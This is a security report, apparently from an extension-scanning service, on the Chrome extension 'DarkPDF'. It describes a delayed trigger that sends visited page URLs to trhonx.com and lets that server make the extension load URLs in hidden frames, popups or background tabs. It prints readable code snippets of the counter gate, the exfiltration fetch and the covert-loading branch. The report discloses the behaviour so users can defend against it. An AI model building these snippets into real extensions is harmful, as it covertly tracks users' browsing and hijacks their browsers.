Is DarkPDF safe?

Medium risk

DarkPDF is medium risk.

DarkPDF sends visited page URLs to trhonx.com and can load URLs returned by its remote configuration.

DarkPDF's content script runs on web pages and, after it has been installed for about a week and a per-site counter reaches its trigger, asks the background worker for remote configuration. That request sends the current tab URL to www.trhonx.com, and the returned configuration can tell the extension to create a hidden iframe, unfocused popup, or inactive tab for a supplied URL.

Ragnar Lothbrokv2.0.2Extension ID hkbldgnmkeoohihookboaejiecjgedkcChrome Web Store
56Risk
Who publishes it

Ragnar Lothbrok - 6 other listings from the same operator, none carrying a finding

Publisher
Ragnar Lothbrok
AI-assisted analysis.

DarkPDF findings

After a week, extension sends the full address of pages you visit to trhonx.com

HighunwantedCWE-359Static analysis

Code analysis shows that after about a week the extension sends the full address of the page you are on to trhonx.com.

What actually happens

You did this

You keep browsing on any website after the first week of install.

The extension did this

On some page loads the extension sends that page's full address to trhonx.com.

The request goes out when a per-site counter reaches 7.

When this fires

On every browser startup

Only starts once the extension is over seven days old, then fires on the eighth visit to a given site within the 30-day cookie lifetime.

The code that does this

Counter gate in content.js and URL fetch in background.js

Readable version

content.js gate

r = Number(getCookie("pdfcc") || 0);setCookie("pdfcc", String(r + 1), +30 days);if (r === 7) { cfg = await x("getExtensionConfig"); ... }

background.js fetch

fetch("https://www.trhonx.com/v1/extension_domain_config?u=" + encodeURIComponent(tabUrl) + "&ex=88")

Data in the request

  • Current page URL
    https://app.example.com/orders/48213?tab=billing

    Shows exactly which page you are viewing, including any path and query.

  • Extension code
    ex=88

    A fixed value that tells the server which extension is calling.

Destination

    • www.trhonx.com

    Receives the encoded page URL at /v1/extension_domain_config and returns config.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

trhonx.com config can make the extension load off-screen frames, popups or tabs

HighunwantedCWE-506Static analysis

Code analysis shows trhonx.com can return an address that the extension opens in a tiny off-screen frame, a small popup or a background tab.

What actually happens

You did this

trhonx.com returns a config containing a url field.

The extension did this

The extension loads that address in a tiny frame, a 1x1 popup or an inactive tab.

Loaded tabs and popups are closed after 9 seconds.

The code that does this

Branch on the config response in content.js

Readable version
if (cfg.isIf) injectOff-screenIframe(cfg.url);else if (isMac && !cfg.isScreen) openPresentation(cfg.url);  // 1x1 unfocused popupelse if (cfg.selectorVersion > 6) loadPdfTab(cfg.url);       // inactive tab

Config fields the server controls

  • url
    https://example.test/landing

    The address the extension will load without you seeing it.

  • isIf
    true

    Chooses a off-screen frame inside the page you are on.

  • selectorVersion
    7

    Gates whether a background tab is used.

Config source

    • www.trhonx.com

    Serves the config that sets which address is loaded.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What DarkPDF can do

Permissions this extension asks for, as declared in version 2.0.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Act on the current tab, but only after you click the extension

    activeTab

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Run its own code inside the pages you visit

    scripting

Where DarkPDF sends data

  • www.trhonx.com

    Found in its code · only this extension

Chrome Web Store listing

Versions
2.0.2 seen since April 11, 2026
Store rating
4.1 from 15 ratings
Last updated
April 5, 2026
Size
95.78 KiB
Privacy policy
wasii.dev
Updated November 20, 2026